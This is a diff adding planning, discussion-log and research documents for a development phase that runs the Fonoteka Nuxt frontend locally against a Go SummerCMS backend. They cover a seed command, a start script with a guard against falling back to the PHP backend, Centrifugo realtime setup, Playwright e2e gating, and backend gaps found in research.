+- **D-11:** `vue-fonoteka-app` may receive **small non-breaking changes** (user's decision). The constraint: the app must still run without issues against the PHP backend. Gaps found during the session are fixed in Go first, with a parity case added where a recorded PHP response exists. An app change is acceptable only when it leaves PHP behavior unchanged (for example an env-switched test helper, a new backend-agnostic spec, or docs and `.env.example` notes). Commits in `vue-fonoteka-app` go to its own repo, which is a submodule of the PHP `fonoteka` repo.
+- **D-12:** Failures show up through the Go request log, which is redacted by sunscreen and records each request's path and status, and through Nuxt's normal behavior. The script tees both processes into labeled log files, and the run docs say to watch them for 4xx/5xx and 404 responses. No 404 tally or dev-only error UI is added.
+
+### Flow proof
+- **D-13:** The flows are proven twice:
+  - **Playwright:** the existing Playwright e2e suite runs against the Go stack.
+  - **Manual session:** one checklist-driven session, recorded as UAT evidence. It covers login, browse collections and albums, search, edit, rate, cover upload, wishlist add/remove, and realtime working.
+- **D-14:** The Playwright seed helper (`tests/e2e/helpers/runTinker.ts`) gets a non-breaking switch. When `E2E_BACKEND=go` is set, it seeds by running the Go binary's `dev:seed` (binary path from `E2E_GO_BIN` or similar) instead of `php artisan tinker`. When the switch is unset, today's PHP behavior is unchanged.
+- **D-15:** The Go gate is the core-flow subset of specs: `auth.setup`, `login`, `smoke`, `fonoteka-item` (browse/edit/rate/cover), `public-share`, `realtime`, `i18n`, plus whichever specs cover search and wishlist. The researcher maps each flow to a spec. `fonoteka-ai-assist`, `fonoteka-bulk-add`, `offline`, `registration-invitation` and `responsive` are run and reported but do not block, because they need external keys or are outside the core flows.
+- **D-16:** If no existing spec covers a core flow (wishlist add/remove and search are the likely candidates), a new spec is added to `vue-fonoteka-app`. It must be backend-agnostic, so it passes against both PHP and Go.
+- **D-17:** The last plan of the phase (unit tests last, project rule) adds Go unit tests for `dev:seed` (environment refusal, idempotency, created shape) and for the marker route. It also adds `summercms.go/scripts/check-phase14.2.sh`, following the existing `check-phase*.sh` pattern, which:
+  - runs `go vet` and `go test ./...`;
+  - exercises the guard against a stale `:8422` origin and against an unset internal origin, and expects a refusal each time;
+  - runs the Go-gate Playwright subset (D-15) against the started stack.
+
+### Planning checkpoint additions (2026-10-07, after research)
+- **D-18:** Realtime reuses the shared host Centrifugo (v6, systemd, `:8787`, `/etc/centrifugo/config.json`), the same topology as production, where PHP apps already use one instance. Inspected config: HMAC connection tokens (`client.token.hmac_secret_key`), HTTP API key (`http_api.key`), top-level channels with `allow_subscribe_for_client: true`, **no subscribe/connect proxy** (research assumption A1 was wrong). Go needs only the same HMAC secret and API key via `.env.dev` (`SUMMER_REALTIME__CENTRIFUGO__TOKEN_SECRET`, `SUMMER_REALTIME__CENTRIFUGO__API_KEY`, `SUMMER_REALTIME__CENTRIFUGO__API_URL=http://127.0.0.1:8787/api`). No dedicated Centrifugo is started. `http://localhost:3119` is not in `client.allowed_origins` today: adding it (and restarting the service) is a documented operator step, not done by the script; the script's preflight checks Centrifugo reachability and reports a missing origin when it can detect it.
+- **D-19:** The `/storage/app/uploads/public/...` mount (research G2) is a framework opt-in in `summercms.go` surf serve, behind a config key that mounts `attach.StaticHandlerPublic`; Phase 20 reuses it. Module README and docs updated in the same change.
+- **D-20:** No UI-SPEC: the phase adds no UI (the UI gate matched only the title). Plan as `--skip-ui`.
+- **D-21:** `vue-fonoteka-app/tests/e2e/realtime.spec.ts` (stale since 2026-06-12) is rewritten as a backend-agnostic spec and verified against PHP as well as Go, per D-11.
+- **D-22:** Plan count confirmed at 4: (01) Go glue — `dev:seed`, plugin-command DB fix (G1, incl. `fonoteka:reindex`), dev-only marker route, framework `/storage` mount, opt-in access log (G3), READMEs/docs; (02) `dev-stack.sh`, guard, `.env.dev.example`, `.gitignore`, run docs; (03) Nuxt `E2E_BACKEND=go` switch, realtime rewrite, new edit/rate/cover, search, wishlist specs, then the manual UAT session; (04, last) unit tests and `summercms.go/scripts/check-phase14.2.sh`.
+
+- **D-23:** The shared Centrifugo config has a `user` namespace but **no `collection` or `wishlist` namespace** and no subscribe proxy; the app subscribes to `user:{id}`, `collection:{id}` and `wishlist:{id}` (`useCentrifugo.ts`, `useRealtimeSync.ts`), so `collection:`/`wishlist:` subscribes fail with "unknown channel" on either backend today. The D-18 operator step therefore also adds `collection` and `wishlist` namespaces (`allow_subscribe_for_client: true`, dev-grade; no proxy pointed at either backend, so PHP apps on the shared instance are unaffected) alongside the `http://localhost:3119` origin, then restarts the service. `dev-stack.sh check` reports a missing origin or namespace as a named warning. Production namespace/authorization config stays Phase 20's concern.
+
+### Claude's Discretion
+- The exact command name and flags of the seed command, the number of seeded albums and their content, and how the test images are produced.
+- Which Go-only route serves as the marker, and how a PHP answer is detected in the preflight.
+- The script structure: subcommands, how processes are supervised and stopped, log file locations, and whether `summer build` runs on every start.
+- The run docs (a section in `fonoteka.go/README.md` or a dedicated `RUNNING-LOCALLY.md`) and the keys in `.env.dev.example`.
+- How River jobs run locally (`work_in_serve: true` is the current default and is fine).
+
+</decisions>
+
+<canonical_refs>
+## Canonical References
+
+**Downstream agents MUST read these before planning or implementing.**
+
+### Phase scope and neighbors
+- `.planning/ROADMAP.md` § Phase 14.2: goal and success criteria 1–4.
+- `.planning/REQUIREMENTS.md`: QA-05, the run-unchanged requirement.
+- `.planning/phases/20-cutover/20-CONTEXT.md`: D-01/D-02 (`import:winter` stays in Phase 20), D-06 (the nginx locations, which match the Nuxt proxy list), D-13 (14.2 is a hard prerequisite of 20) and D-15 (the production version of the manual session checklist).
+- `.planning/phases/14-domain-jobs-and-external-integrations/14-CONTEXT.md`: the jobs, Discogs and AI context behind the specs that do not block (D-15).
+- `.planning/phases/14.1-oauth-identities-and-fonoteka-me-routes/`: the last ported routes; the manifest has zero pending entries.
+
+### Frontend contract (vue-fonoteka-app, at /media/nvme/dev/golem15/fonoteka/vue-fonoteka-app)
+- `nuxt.config.ts`: `NUXT_DEV_BACKEND_ORIGIN`, the `internalApiOrigin` fallback chain (falls back to plytarium.com), the `routeRules` / `nitro.devProxy` / `vite.server.proxy` lists (`/_user/api`, `/_journal/api`, `/_fonoteka/api`, `/_feedback/api`, `/plugins/golem15/feedback`, `/api/realtime`, `/storage`) and the dev port 3119.
+- `.env.example`: the documented dev env keys, the Centrifugo setup steps and the `E2E_*` variables.
+- `playwright.config.ts`, `tests/e2e/*.spec.ts` and `tests/e2e/helpers/runTinker.ts`: the e2e suite and the tinker seed helper to switch (D-14).
+
+### Backend (fonoteka.go)
+- `fonoteka.go/README.md`: database setup (Polish ICU collation), the `SUMMER_*` env mapping, and the migrate/serve commands.
+- `fonoteka.go/config/http.yaml` (CORS, body limits), `config/storage.yaml` (`/storage/app/uploads/public`), `config/search.yaml` (Typesense on :8181), `config/realtime.yaml`, `config/queue.yaml` (`work_in_serve`).
+- `fonoteka.go/parity/manifest.yaml`: the marker route must stay outside it (D-10).
+- `summercms.go/modules/surf/serve.go`: the `serve` address flag (default `:8080`) and the uploads bucket publishing.
+- `summercms.go/scripts/check-phase14.sh` (and the other `check-phase*.sh` scripts): the pattern for D-17.
+
+</canonical_refs>
+
+<code_context>
+## Existing Code Insights
+
+### Reusable Assets
+- The Nuxt dev proxy already sends every backend path to a single `NUXT_DEV_BACKEND_ORIGIN`. Pointing it at Go needs no CORS, because the browser stays same-origin.
+- `fonoteka migrate`, `fonoteka:reindex` (Phase 14) and `fonoteka serve` cover the start sequence. The reindex command asserts zero `collection_id`-0 documents.
+- The lagoon attach path and the uploads bucket (`file://./storage/app/uploads/public`) give the seeded covers PHP-identical public URLs.
+- The `golem15.user` API tokens (`inv_` prefix) let the seed mint an MCP-usable token.
+- The sunscreen redacting slog handler is already in the generated main (Phase 14-01) and serves as the request log for D-12.
+
+### Established Patterns
+- Phase check scripts live in `summercms.go/scripts/check-phase<N>.sh`.
+- The generated `main.go` / `plugins.gen.go` come from `summer build`. Do not hand-edit them.
+- Commit rules: one logical change per commit, planning docs separate from code, no co-author tags. `vue-fonoteka-app` commits go to its own repo.
+
+### Integration Points
+- `fonoteka.go/scripts/dev-stack.sh` (new), `.env.dev.example` (new), `.gitignore` (`.env.dev`).
+- The fonoteka plugin's console commands (registers `dev:seed`).
+- `vue-fonoteka-app/tests/e2e/helpers/runTinker.ts` (`E2E_BACKEND=go` switch) and any new backend-agnostic specs.
+- Centrifugo's local allowed origins (operator config, documented).
+
+</code_context>
+
+<specifics>
+## Specific Ideas
+
+- Ports: Nuxt on `:3119`, Go on `:8423`, PHP stays on `:8422`, Typesense on `:8181`.
+- During the phase, the PHP-connected frontend must keep working with no issues. Every app edit is checked against PHP as well as Go.
+
+</specifics>
+
+<deferred>
+## Deferred Ideas
+
+- Bringing the Phase 20 `import:winter` runner forward to load real local PHP data was considered and not chosen. It stays in Phase 20.
+- A 404/5xx tally by path at script shutdown was offered and not chosen. It can be added later if the logs prove too noisy.
+
+### Reviewed Todos (not folded)
+- `2026-10-01-benchmark-the-application-on-wintercms-vs-summercms.md`: a benchmark, not local-run glue (Phase 20 lists it as deferred too).
+- `nest-framework-packages-under-modules.md`, `bonfire-duplicate-command-names.md`, `backend-admin-api-tokens.md`: framework work unrelated to the local Nuxt run; matched by keyword only.
+
+</deferred>
+
+---
+
+*Phase: 14.2-local-fonoteka-frontend-on-local-summercms-backend*
+*Context gathered: 2026-10-07*

.planning/phases/14.2-local-fonoteka-frontend-on-local-summercms-backend/14.2-DISCUSSION-LOG.md

@@ -0,0 +1,142 @@
+# Phase 14.2: Local Fonoteka frontend on local SummerCMS backend - Discussion Log
+
+> **Audit trail only.** Do not use as input to planning, research, or execution agents.
+> Decisions are captured in CONTEXT.md — this log preserves the alternatives considered.
+
+**Date:** 2026-10-07
+**Phase:** 14.2-local-fonoteka-frontend-on-local-summercms-backend
+**Areas discussed:** Local data, Stack startup, PHP fall-through guard, Flow proof
+
+---
+
+## Local data
+
+| Option | Description | Selected |
+|--------|-------------|----------|
+| Seed command | Fresh migrate plus an app dev seed; import:winter stays in Phase 20 | ✓ |
+| Pull import:winter forward | Build the Phase 20 D-02 runner now and import local PHP MariaDB | |
+| Register through the UI | No seed; create the data by hand | |
+
+| Option | Description | Selected |
+|--------|-------------|----------|
+| App command, idempotent | `fonoteka dev:seed`, refuses non-local env, safe to re-run | ✓ |
+| App command, destructive reset | Truncates the domain tables first | |
+| Framework summer seed hook | A generic seeder capability in summercms.go | |
+
+| Option | Description | Selected |
+|--------|-------------|----------|
+| Yes, bundled test images | Covers attached through the normal attach path, no network | ✓ |
+| No covers | Cover upload is the only image check | |
+
+| Option | Description | Selected |
+|--------|-------------|----------|
+| Same E2E_* vars | Seed reads E2E_EMAIL/E2E_PASSWORD with a demo fallback | ✓ |
+| Own SUMMER_* keys | Separate config namespace | |
+
+**User's choice:** the recommended option each time.
+
+---
+
+## Stack startup
+
+| Option | Description | Selected |
+|--------|-------------|----------|
+| One script, host services | scripts/dev-stack.sh using existing Postgres/Typesense | ✓ |
+| docker compose for services + script | Committed compose.yaml | |
+| Docs only | No orchestration script | |
+
+| Option | Description | Selected |
+|--------|-------------|----------|
+| PG required; Typesense + Centrifugo optional | Search fallback and realtime no-op | |
+| PG + Typesense required | Centrifugo optional | |
+| All three required | Full production parity, realtime included | ✓ |
+
+| Option | Description | Selected |
+|--------|-------------|----------|
+| Distinct port, e.g. :8423 | Runs side by side with PHP :8422 | ✓ |
+| Reuse :8422 | Existing .env files work as they are | |
+| Framework default :8080 | No override | |
+
+| Option | Description | Selected |
+|--------|-------------|----------|
+| Gitignored dev env file | .env.dev plus a committed .env.dev.example | ✓ |
+| Your shell env | No new file | |
+
+| Option | Description | Selected |
+|--------|-------------|----------|
+| Env vars on the pnpm dev process | Never writes vue-fonoteka-app/.env | ✓ |
+| Write the app's .env | Overwrites the PHP-targeted .env | |
+
+**User's choice:** all three services required (not the recommended option), otherwise the recommended options.
+
+---
+
+## PHP fall-through guard
+
+| Option | Description | Selected |
+|--------|-------------|----------|
+| Preflight probe + pinned SSR origin | Probe Go before Nuxt starts, pin NUXT_INTERNAL_API_ORIGIN, probe through the Nuxt proxy after start | ✓ |
+| Preflight probe only | No check through the proxy | |
+| Docs + manual check | Devtools instructions | |
+
+| Option | Description | Selected |
+|--------|-------------|----------|
+| Existing Go-only route | Marker route outside the parity manifest | ✓ |
+| Dev-only response header | X-Summer-Backend when env is local | |
+
+| Option | Description | Selected |
+|--------|-------------|----------|
+| No app edits; fix Go only | The app runs unchanged | |
+| Docs-only edits allowed | Plus .env.example comments | |
+| Small app fixes allowed | Frontend fixes where the frontend is wrong | |
+
+**User's choice (free text):** "Small non-breaking changes are allowed (PHP connected frontend still needs to run without issues)".
+
+| Option | Description | Selected |
+|--------|-------------|----------|
+| Go request log + Nuxt as is | Labeled log files, watch for 4xx/5xx | ✓ |
+| Plus an unported-route 404 tally | Summary at shutdown | |
+
+---
+
+## Flow proof
+
+| Option | Description | Selected |
+|--------|-------------|----------|
+| Playwright on Go + manual session | Existing specs against Go plus one checklist session | ✓ |
+| Manual checklist only | UAT evidence only | |
+| Playwright only | No manual session | |
+
+| Option | Description | Selected |
+|--------|-------------|----------|
+| E2E_BACKEND=go switch | Non-breaking helper switch to dev:seed | ✓ |
+| Pre-seeded, helper untouched | Tinker-gated specs skip | |
+
+| Option | Description | Selected |
+|--------|-------------|----------|
+| Core-flow subset | Named specs gate; AI, bulk-add and offline do not block | ✓ |
+| Whole suite must pass | Includes specs that need external keys | |
+
+| Option | Description | Selected |
+|--------|-------------|----------|
+| Add a backend-agnostic spec | Passes against both PHP and Go | ✓ |
+| Manual checklist covers it | No new specs | |
+
+| Option | Description | Selected |
+|--------|-------------|----------|
+| scripts/check-phase14.2.sh + Go tests | Seed/marker unit tests, guard refusal checks, Playwright subset | ✓ |
+| Go tests only | Script and Playwright not part of the gate | |
+
+---
+
+## Claude's Discretion
+
+- Seed command name, fixture content and test image production.
+- Marker route choice and PHP detection in the preflight.
+- Script structure, process supervision, log locations.
+- Where the run docs live and the keys in .env.dev.example.
+
+## Deferred Ideas
+
+- Pulling import:winter forward (not chosen; stays in Phase 20).
+- 404/5xx tally at script shutdown (not chosen).

.planning/phases/14.2-local-fonoteka-frontend-on-local-summercms-backend/14.2-RESEARCH.md

@@ -0,0 +1,672 @@
+# Phase 14.2: Local Fonoteka frontend on local SummerCMS backend - Research
+
+**Researched:** 2026-10-07
+**Domain:** Local dev-stack glue: Go seed command, start script and fail-closed guard, Nuxt dev proxy, Playwright e2e against the Go backend
+**Confidence:** HIGH for the code facts (read in this session, binary built and probed). MEDIUM for the Centrifugo side, because the shared `/etc/centrifugo/config.json` cannot be read. *Superseded by D-18: the operator inspected that config at the planning checkpoint (HMAC tokens, HTTP API key, `allow_subscribe_for_client: true`, no subscribe or connect proxy); every Open Question below is resolved.*
+
+<user_constraints>
+## User Constraints (from CONTEXT.md)
+
+### Locked Decisions
+
+#### Local data
+- **D-01:** Local data comes from `fonoteka migrate` followed by a new seed command. The Phase 20 `import:winter` runner is not pulled forward, and PHP data is not imported in this phase.
+- **D-02:** The seed is an application command, `fonoteka dev:seed` (final name at the planner's discretion), in the fonoteka plugin, not a framework seeder hook. It refuses to run unless the app environment is local/dev, and it is idempotent: a second run changes nothing. It creates:
+  - a verified user;
+  - an owned collection;
+  - a few albums;
+  - a wishlist entry;
+  - a personal API token (`inv_` prefix) so fonoteka-mcp can be pointed at the local stack.
+- **D-03:** Seeded albums get bundled test cover images (small, embedded or generated, no network), attached through the normal attach path into `storage/app/uploads/public`. Their `/storage/app/uploads/public/...` URLs then resolve through the Nuxt `/storage` proxy right away.
+- **D-04:** The seeded user's credentials come from `E2E_EMAIL` / `E2E_PASSWORD`, the same variables the Nuxt Playwright suite uses, with a fallback to `demo@example.com` / `changeme`. That way the seed and the Playwright login match without extra wiring.
+
+#### Stack startup
+- **D-05:** A single script, `fonoteka.go/scripts/dev-stack.sh`, uses host services and adds no docker compose. It:
+  1. checks that the services are reachable;
+  2. runs `summer build`, `migrate` and `dev:seed`;
+  3. reindexes search after the seed;
+  4. starts `fonoteka serve`;
+  5. runs the fail-closed guard (D-09);
+  6. starts `pnpm dev` in the sibling `vue-fonoteka-app`.
+- **D-06:** Postgres, Typesense and Centrifugo are all required. The script refuses to start, and names the missing service, if any of them is unreachable. Realtime is expected to work locally, which means `NUXT_PUBLIC_CENTRIFUGO_WS_URL` is set and the app origin `http://localhost:3119` is in Centrifugo's allowed origins (documented).
+- **D-07:** Go serves on `:8423`, which is distinct from PHP's `:8422` and from the framework default `:8080`. PHP and Go can then run side by side, and a stale origin is obvious.
+- **D-08:** Settings and secrets live in a gitignored `fonoteka.go/.env.dev`, with a committed `.env.dev.example` that holds placeholders only. It covers the DSN, JWT secret, app key, Typesense and Centrifugo keys, and the Nuxt-side values. The script sources it and fails, listing each missing key. The script passes `NUXT_DEV_BACKEND_ORIGIN`, `NUXT_INTERNAL_API_ORIGIN` and `NUXT_PUBLIC_CENTRIFUGO_WS_URL` as environment variables on the `pnpm dev` process. It never writes `vue-fonoteka-app/.env`, so the developer's PHP-targeted setup stays intact.
+
+#### PHP fall-through guard
+- **D-09:** The guard has three parts:
+  1. **Preflight:** before Nuxt starts, the script probes the Go origin for a Go-only marker and refuses to continue if the marker is missing, if the target is `:8422`, or if a PHP backend answers.
+  2. **Pinned SSR origin:** `NUXT_INTERNAL_API_ORIGIN` is always set explicitly to the Go origin, so SSR can never fall back to `https://plytarium.com`.
+  3. **Post-start probe:** once Nuxt is up, the script probes through Nuxt's proxy (`http://localhost:3119/...`) and confirms the marker comes back, which proves the proxy reaches Go.
+- **D-10:** The marker is a route only the Go binary serves (an existing framework health/readiness route, or the smallest new one) that stays **outside the parity manifest**. No manifest route's response changes, and no new header is added to API responses.
+- **D-11:** `vue-fonoteka-app` may receive **small non-breaking changes** (user's decision). The constraint: the app must still run without issues against the PHP backend. Gaps found during the session are fixed in Go first, with a parity case added where a recorded PHP response exists. An app change is acceptable only when it leaves PHP behavior unchanged (for example an env-switched test helper, a new backend-agnostic spec, or docs and `.env.example` notes). Commits in `vue-fonoteka-app` go to its own repo, which is a submodule of the PHP `fonoteka` repo.
+- **D-12:** Failures show up through the Go request log, which is redacted by sunscreen and records each request's path and status, and through Nuxt's normal behavior. The script tees both processes into labeled log files, and the run docs say to watch them for 4xx/5xx and 404 responses. No 404 tally or dev-only error UI is added.
+
+#### Flow proof
+- **D-13:** The flows are proven twice:
+  - **Playwright:** the existing Playwright e2e suite runs against the Go stack.
+  - **Manual session:** one checklist-driven session, recorded as UAT evidence. It covers login, browse collections and albums, search, edit, rate, cover upload, wishlist add/remove, and realtime working.
+- **D-14:** The Playwright seed helper (`tests/e2e/helpers/runTinker.ts`) gets a non-breaking switch. When `E2E_BACKEND=go` is set, it seeds by running the Go binary's `dev:seed` (binary path from `E2E_GO_BIN` or similar) instead of `php artisan tinker`. When the switch is unset, today's PHP behavior is unchanged.
+- **D-15:** The Go gate is the core-flow subset of specs: `auth.setup`, `login`, `smoke`, `fonoteka-item` (browse/edit/rate/cover), `public-share`, `realtime`, `i18n`, plus whichever specs cover search and wishlist. The researcher maps each flow to a spec. `fonoteka-ai-assist`, `fonoteka-bulk-add`, `offline`, `registration-invitation` and `responsive` are run and reported but do not block, because they need external keys or are outside the core flows.
+- **D-16:** If no existing spec covers a core flow (wishlist add/remove and search are the likely candidates), a new spec is added to `vue-fonoteka-app`. It must be backend-agnostic, so it passes against both PHP and Go.
+- **D-17:** The last plan of the phase (unit tests last, project rule) adds Go unit tests for `dev:seed` (environment refusal, idempotency, created shape) and for the marker route. It also adds `summercms.go/scripts/check-phase14.2.sh`, following the existing `check-phase*.sh` pattern, which:
+  - runs `go vet` and `go test ./...`;
+  - exercises the guard against a stale `:8422` origin and against an unset internal origin, and expects a refusal each time;
+  - runs the Go-gate Playwright subset (D-15) against the started stack.
+
+### Claude's Discretion
+- The exact command name and flags of the seed command, the number of seeded albums and their content, and how the test images are produced.
+- Which Go-only route serves as the marker, and how a PHP answer is detected in the preflight.
+- The script structure: subcommands, how processes are supervised and stopped, log file locations, and whether `summer build` runs on every start.
+- The run docs (a section in `fonoteka.go/README.md` or a dedicated `RUNNING-LOCALLY.md`) and the keys in `.env.dev.example`.
+- How River jobs run locally (`work_in_serve: true` is the current default and is fine).
+
+### Deferred Ideas (OUT OF SCOPE)
+- Bringing the Phase 20 `import:winter` runner forward to load real local PHP data was considered and not chosen. It stays in Phase 20.
+- A 404/5xx tally by path at script shutdown was offered and not chosen. It can be added later if the logs prove too noisy.
+
+#### Reviewed Todos (not folded)
+- `2026-10-01-benchmark-the-application-on-wintercms-vs-summercms.md`: a benchmark, not local-run glue (Phase 20 lists it as deferred too).
+- `nest-framework-packages-under-modules.md`, `bonfire-duplicate-command-names.md`, `backend-admin-api-tokens.md`: framework work unrelated to the local Nuxt run; matched by keyword only.
+</user_constraints>
+
+<phase_requirements>
+## Phase Requirements
+
+| ID | Description | Research Support |
+|----|-------------|------------------|
+| QA-05 | "Cutover: the parity harness is green on all 154 routes and vue-fonoteka-app and fonoteka-mcp run unchanged against the Go backend" [VERIFIED: .planning/REQUIREMENTS.md:124] | This phase covers the "vue-fonoteka-app runs unchanged against the Go backend" half locally. See the Flow-to-Spec map (§Q1), the Go gaps that block an unchanged run (G1–G4), the guard design (§Pattern 4), and the Validation Architecture. The fonoteka-mcp half is covered only as far as minting a local `inv_` token (D-02); MCP must call Go directly on `:8423` because Nuxt does not proxy `/api/v1/fonoteka/*`. Note: the REQUIREMENTS traceability table already marks QA-05 "Phase 15 / Complete" [VERIFIED: .planning/REQUIREMENTS.md:245]. That is a bookkeeping inconsistency for the planner/verifier to fix; it does not change this phase's scope. |
+</phase_requirements>
+
+## Project Constraints (from CLAUDE.md)
+
+- Lean planning: few, large plans per phase. Present the plan count with a one-line scope for each plan and wait for confirmation before writing PLAN.md files.
+- Unit tests are always the **last** plan of a phase. Earlier plans may carry smoke tests.
+- Go: standard library first. Add a dependency only when the research doc or a phase decision names it. Keep `go vet` and `go test ./...` green at every commit.
+- Compiled plugins only. No runtime plugin loading.
+- API parity is the acceptance test. Do not "improve" response shapes. (Relevant here: the marker route stays outside the manifest, and no manifest response changes, per D-10.)
+- Commits: no co-author tags, one logical change per commit, planning docs and code in separate commits. `vue-fonoteka-app` commits go to its own repo. Shared plugin submodules (`plugins/golem15/user` and others) are committed inside the submodule first, then the pointer is bumped in a separate commit. Never stage submodule files from the parent.
+- Core plugins (user, blog, pages, payment) must not get breaking changes. `sm-user-plugin` is shared, so do not add a marker route or change behavior there.
+- Documentation: any change to a `summercms.go/modules/*` exported API, config key or CLI command updates that module's `README.md` and the affected `docs/` pages in the same change. Check with `go test ./cmd/summer -run TestDocsTree` and `summer docs:build --check`. Framework READMEs never name a consuming application. The `fonoteka.go` README is the application, so naming Płytarium and Nuxt there is fine.
+- Do not hand-edit `fonoteka.go/main.go` or `plugins.gen.go`; `summer build` regenerates them.
+- Two repos: `summercms.go` is the framework only; `fonoteka.go` is the app. Planning docs stay in `summercms.go/.planning`.
+
+## Summary
+
+The phase is mostly glue, but this research turned up four **Go-side gaps** that would make an "unchanged" Nuxt run fail. Each was verified by building the current `fonoteka.go` binary and running it:
+
+1. **Plugin CLI commands get no database.** `fonoteka fonoteka:reindex` and `fonoteka user:token:create` both exit 1 with `database is not configured` in the real binary. Only the lagoon, conga and surf runtime commands open and publish the pool. D-05 step 3 (reindex) is therefore broken today, and the new `dev:seed` must open the database itself.
+2. **The Go binary does not serve `/storage/app/uploads/public/...`.** `route:list` has no such route. The framework ships `attach.StaticHandlerPublic`, but nothing mounts it. Every cover through the Nuxt `/storage` proxy would 404, which breaks D-03.
+3. **There is no per-request log.** `surf` has no `slog` call at all, so the "Go request log … records each request's path and status" that D-12 relies on does not exist.
+4. **There is no health or marker route.** D-09's post-start probe goes *through the Nuxt proxy*, so the marker must sit under a prefix Nuxt proxies (`/_fonoteka/api`, `/_user/api`, `/_feedback/api`, `/api/realtime`, `/storage`, `/plugins/golem15/feedback`). A framework path such as `/_summer/health` would not be reachable through Nuxt.
+
+On the Nuxt side, the biggest risk in the CONTEXT turns out to be smaller than expected: **`runTinker`/`seedE2EFixtures` has zero callers**. No spec seeds anything. The specs need only a logged-in user (E2E_EMAIL/E2E_PASSWORD), an active collection and, for browse/i18n/offline, some albums. The real gap is coverage. `fonoteka-item.spec.ts` only *creates* an album (no edit, rate or cover), and **no spec covers search, edit, rate, cover upload or wishlist add/remove**. `realtime.spec.ts` is also stale: its `realtime-status`/`realtime-degraded` test IDs were removed from the app on 2026-06-12, so it fails against *any* backend. `public-share.spec.ts` stubs every `/public/*` call with `page.route`, so it never touches the backend.
+
+**Primary recommendation:** close G1–G4 in Go first (plan 1). Then build `dev-stack.sh` with `preflight` / `up` / `down` subcommands and a dev-only marker route under `/_fonoteka/api/v1/` (plan 2). Add backend-agnostic, self-seeding specs for album edit/rate/cover, search and wishlist, rewrite `realtime.spec.ts`, and add the `E2E_BACKEND=go` switch (plan 3). Finish with Go unit tests and `check-phase14.2.sh`, which parses the Playwright JSON report and treats any *skip* in a gate spec as a failure (plan 4).
+
+## Architectural Responsibility Map
+
+| Capability | Primary Tier | Secondary Tier | Rationale |
+|------------|-------------|----------------|-----------|
+| Login, JWT issue/refresh | API / Backend (Go `golem15.user`) | Browser (JS cookie `auth_token`, Bearer header) | JWT lives in a JS-readable cookie and is sent as `Authorization: Bearer`. The backend sets no cookies, so the proxy needs no cookie rewriting. |
+| Same-origin API routing in dev | Frontend Server (Nuxt dev: Vite proxy + Nitro devProxy + routeRules) | — | `NUXT_DEV_BACKEND_ORIGIN` is read once at config load. No CORS is involved. |
+| SSR API calls | Frontend Server (Nitro, `internalApiOrigin`) | API | SSR uses the absolute origin, not the proxy. Pinning it is D-09.2. |
+| Upload serving `/storage/app/uploads/public/*` | API / Backend (Go, **new mount**) | CDN/nginx in prod (Phase 20) | Nuxt proxies `/storage` to the backend origin. Go must answer it. |
+| Realtime token + subscribe proxy | API (Go `/api/realtime/token`, `/api/realtime/subscribe`) | Centrifugo (external service) | The browser connects to Centrifugo directly (not proxied). Centrifugo calls Go's subscribe proxy. *Superseded by D-18: the shared Centrifugo has no subscribe proxy; clients subscribe directly (`allow_subscribe_for_client: true`), so locally only `/api/realtime/token` and Go's HTTP API publishes are involved.* |
+| Search | API (Go → Typesense when `search_use_typesense` is on) | Database (fallback) | Go falls back to SQL on an engine error, logging a Warn. |
+| Seed data | CLI (fonoteka plugin command) | Database + upload bucket | App command (D-02), not a framework hook. |
+| Fail-closed guard | Shell script (`dev-stack.sh preflight`) | API marker route | The script decides; the Go route only identifies itself. |
+
+## Key Findings and Gaps (read first)
+
+| # | Finding | Evidence | Impact / what the plan must do |
+|---|---------|----------|---------------------------------|
+| G1 | Plugin commands run without a database. `fonoteka:reindex` prints `fonoteka:reindex: database is not configured` (rc=1); `user:token:create` prints `golem15.user: database is not configured` (rc=1). | [VERIFIED: ran freshly built binary with SUMMER_ENV=local and a bogus DSN; `migrate:status` reached the DB (`lagoon: ping postgres: failed to connect … password authentication failed`) while the two plugin commands failed before connecting]. Cause: `console/reindex.go:55-58` reads `app.Lookup[*gorm.DB]()`, and only `lagoon/commands.go:230-240 withDB`, `conga/commands.go:213-224 withDB` and `surf/serve.go:40-47` open and publish the pool. | `dev:seed` must call `lagoon.OpenFromApp` + `lagoon.Publish` itself. Publish is required (not just Open), because the fonoteka slug and credential hooks register through `lagoon.OnDatabase` (`plugin.go:209-210`). `fonoteka:reindex` needs the same fix (app-level), or D-05 step 3 fails. The `user:token:*` commands in the shared `sm-user-plugin` are broken the same way. This is out of scope here (the seed mints its own token), so log it as a todo. |
+| G2 | No `/storage` route in Go. | [VERIFIED: `route:list` of a fresh build; the non-API routes are only `_feedback`, `/plugins/golem15/feedback/assets/js/embed.js`, `/.well-known/oauth-authorization-server`, `/oauth/mcp/*`, `/api/realtime/{token,subscribe}`, `/plytadmin*`]. The framework has `func StaticHandlerPublic(bucket *blob.Bucket, prefix string, db *gorm.DB) http.Handler` [VERIFIED: summercms.go/modules/lagoon/attach/static.go:32], which no package mounts. | Mount `GET {storage.uploads.public_path_prefix}/{path...}` → `attach.StaticHandlerPublic`, resolving bucket and DB per request. Phase 20 D-06 also routes `/storage/app/uploads` to Go, so this is needed beyond local dev. |
+| G3 | No request access log. | [VERIFIED: `grep slog surf/*.go` (non-test) returns nothing; no `access_log` anywhere in modules]. The sunscreen README only describes a redacting handler. | D-12's "Go request log" must be added: an opt-in surf middleware (config key, default off) logging method, matched pattern, status and duration. Its exported surface needs README/docs updates. |
+| G4 | No health/marker route, and the marker must be Nuxt-proxied. | [VERIFIED: route list above; Nuxt proxy prefixes at nuxt.config.ts:247-266, 364-372, 392-401]. | Add a dev-only route under `/_fonoteka/api/v1/` in the fonoteka plugin (see Pattern 3). |
+| G5 | `runTinker`/`seedE2EFixtures` has **no callers**; specs do not seed. | [VERIFIED: `grep -rn "runTinker\|seedE2EFixtures" tests/` matches only `helpers/runTinker.ts` and comments]. | The D-14 switch is cheap. The real seeding need is a user, an active collection, a wishlist and some albums (with covers for offline). New specs should seed themselves through the UI or API. |
+| G6 | `realtime.spec.ts` is stale. | [VERIFIED: `realtime.spec.ts:28` `page.getByTestId('realtime-status')`, `:39` `getByTestId('realtime-degraded')`; neither ID exists in `app/` (grep). Git `-S"realtime-status"`: added ff33376 2026-06-10, removed 6fcdb8e 2026-06-12 "compose dashboard"]. | It fails on PHP and Go alike. Rewrite it as a backend-agnostic spec (a D-11 test-only change). |
